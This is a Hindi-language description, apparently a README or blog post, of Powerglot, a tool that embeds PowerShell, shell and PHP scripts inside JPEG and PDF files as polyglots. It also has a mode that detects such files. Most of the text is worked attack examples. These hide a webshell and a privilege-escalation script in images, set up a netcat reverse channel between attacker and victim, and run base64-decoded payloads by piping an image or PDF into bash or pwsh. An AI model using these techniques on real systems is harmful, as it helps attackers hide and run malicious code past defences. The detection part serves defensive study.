
Powerglot पॉलीग्लॉट का उपयोग करके आक्रामक PowerShell स्क्रिप्ट को एन्कोड करता है। स्टेगो-मैलवेयर, प्रिविलेज एस्केलेशन, लेटरल मूवमेंट, रिवर्स शेल आदि के लिए उपयोगी आक्रामक सुरक्षा उपकरण।
पावरग्लॉट पॉलीग्लॉट्स का उपयोग करके कई प्रकार की स्क्रिप्टों को एनकोड करता है, उदाहरण के लिए, आक्रामक पावरशेल स्क्रिप्ट। पेलोड चलाने के लिए किसी लोडर की आवश्यकता नहीं है।
रेड-टीम अभ्यासों या आक्रामक कार्यों में, पेलोड को छिपाने के लिए आमतौर पर स्टेग्नोग्राफी का उपयोग किया जाता है, विशेष रूप से नेटवर्क स्तर की सुरक्षा से बचने के लिए, जो कि पावरशेल में विकसित सबसे सामान्य पेलोड स्क्रिप्ट में से एक है। हाल के मैलवेयर और एपीटी इनमें से कुछ क्षमताओं का उपयोग करते हैं: APT32, APT37, Ursnif, Powload, LightNeuron/Turla, Platinum APT, Waterbug/Turla, Lokibot, The dukes (operation Ghost), Titanium, आदि।
पावरग्लॉट पॉलीग्लॉट्स पर आधारित एक बहु-कार्यात्मक और बहु-प्लेटफॉर्म हमला और बचाव उपकरण है। पावरग्लॉट एक स्क्रिप्ट (पावरशेल, शेलस्क्रिप्टिंग, php, ...) को मुख्य रूप से एक डिजिटल छवि में छिपाने की अनुमति देता है, हालांकि अन्य फ़ाइल प्रारूप प्रगति पर हैं। सामान्य आक्रामक उपकरणों या मैलवेयर के विपरीत, पावरग्लॉट को "छिपी हुई जानकारी" को निष्पादित करने के लिए किसी लोडर की आवश्यकता नहीं होती है, जिससे लक्ष्य सिस्टम पर शोर कम हो जाता है।
पावरग्लॉट का आक्रामक कार्यों में स्पष्ट उपयोगिता है, लेकिन इसे एक खोज और ब्लू टीम उपकरण के रूप में भी परिभाषित किया गया है। हमारी जानकारी के अनुसार, यह पहला सामान्य और पूर्ण ओपन-सोर्स उपकरण है जो पॉलीग्लॉट्स के साथ छिपी जानकारी की उपस्थिति की खोज करने की अनुमति देता है, ऐसी जानकारी जो सिस्टम में स्थायित्व प्राप्त करने या मैलवेयर (स्टेगो-मैलवेयर, विशेषाधिकार वृद्धि, पार्श्व गति, रिवर्स शेल, आदि) को छिपाने के लिए उपयोगी हो सकती है।
विशेषताएं:
पावरशेल/शेल स्क्रिप्ट/php/.. को पॉलीग्लॉट इमेज में एनकोड करें। छिपी जानकारी (पेलोड) को पुनर्प्राप्त/निष्पादित करने के लिए किसी लोडर की आवश्यकता नहीं है। पावरग्लॉट कई प्रारूपों के साथ काम करता है। मुख्य रूप से, JPEG और PDF प्रारूप। अन्य प्रारूप प्रगति पर हैं।
पावरग्लॉट (दुर्भावनापूर्ण) पॉलीग्लॉट्स का पता लगाने के लिए एक पूर्ण ओपन-सोर्स उपकरण है, विशेष रूप से Truepolyglot या stegoSploit जैसे कुछ सार्वजनिक उपकरणों के परिणाम। हम कई प्रारूपों में काम करते हैं: JPEG, PNG, GIF, BMP, ZIP, PDF, MP3, आदि।
# git clone https://github.com/mindcrypt/powerglot
# python3 powerglot
पावरग्लॉट के साथ पॉलीग्लॉट्स का उपयोग करके पेलोड छिपाने के कुछ उदाहरण
# Example 1 - Hiding a powershell/php/shell script in a JPEG image
# python3 powerglot.py -o payload.ps1 cat.jpg cat-hidden1.jpg
# python3 powerglot.py -o webshell.php cat.jpg cat-hidden2.jpg
# python3 powerglot.py -o shell.sh cat.jpg cat-hidden3.jpg
# Example 2 - Hiding a shell script (linenum.sh) for privilege escalation "hidden" in a JPEG image
# python3 powerglot.py -o linenum.sh cat.jpg cat-linenum.jpg
# file cat-linenum.jpg (It is a valid JPEG file)
# feh cat-lineum.jpg (The image is properly showed in an image viewer)
# We can execute the script in several ways:
a) cat cat-linenum | bash
b) chmod +x cat-linenum.jpeg; ./cat-linenum.jpeg
# Example 3 - Hiding a cover-channel wiht netcat in a JPEG image
# Attacker
# echo "nc 127.0.0.1 4444" > netcat.sh
# python3 powerglot.py -o netcat.sh cat.jpeg cat-netcat.jpeg
# nc -nvlp 4444
#Victim
# chmod +x cat-netcat.jpg | ./cat-netcat.jpg

# Example 4 - Polyglot in PDF (Ej-linenum.sh)
# Create b64.sh with your favourite payload
base64 Linenum.sh -w 0 > b64.sh
# Edit b64.sh
echo "code in b64.sh" | base64 -d | bash;
# python3 powerglot -o b64.sh sample.pdf test.pdf
# file test.pdf
# xpdf test.pdf
# Execute payload
# cat test.pdf | bash or chmod +x test.pdf; ./test.pdf
# Example 5 - Powershell in JPEG (polyglot)
# python3 powerglot.py -o script.ps1 cat.jpeg cat-ps.jpeg
# file cat-ps.jpeg
# feh cat-ps.jpeg
# Execute payload (example)
# cat cat-ps.jpeg | pwsh
PS /home/alfonso/PowerGlot/POWERSHELL> get-process;<#hola <# mundo#>
NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0,00 2,70 0,00 830 829 (sd-pam)
0 0,00 0,00 0,00 75 0 acpi_thermal_pm
0 0,00 4,80 0,00 1217 854 agent
0 0,00 1,70 0,00 748 748 agetty
0 0,00 40,77 1,01 1198 854 applet.py
0 0,00 6,29 0,00 938 938 at-spi-bus-launcher
0 0,00 6,61 5,64 953 938 at-spi2-registryd
0 0,00 0,00 0,00 131 0 ata_sff
0 0,00 1,77 0,00 8906 …78 atom
0 0,00 218,81 585,95 8908 …78 atom
0 0,00 236,18 176,24 8947 …78 atom
0 0,00 142,14 2,51 9009 …78 atom
0 0,00 81,54 3,32 8932 …78 atom --type=gpu-process --enable-features=SharedArrayBuffer -…
0 0,00 39,44 0,01 8910 …78 atom --type=zygote --no-sandbox
0 0,00 5,62 0,11 1370 …70 bash
0 0,00 5,36 0,66 5278 …78 bash
0 0,00 6,34 1,48 6778 …78 bash
0 0,00 0,00 0,00 68 0 blkcg_punt_bio
0 0,00 46,73 2,20 1199 854 blueman-applet
0 0,00 50,25 1,64 1301 854 blueman-tray
हमारे फाइलसिस्टम में पॉलीग्लॉट्स का पता लगाने के कुछ उदाहरण
#python3 powerglot.py -d ./
--= [Detecting polyglots] --=
..............................................................
[Suspicious file]-[ ./cat-end-extra2.jpg ]..
[Suspicious file]-[ ./cat-end-extra3.jpg ][Polyglot Stegosploit][EOF Signature: */ -->]
.................................................................................
[Suspicious file]-[ ./cat-end-extra1.jpg ]..
यह प्रोजेक्ट Dr. Alfonso Muñoz और Abraham Pasamar द्वारा विकसित किया गया है। कोड GNU General Public License v3 के तहत जारी किया गया है।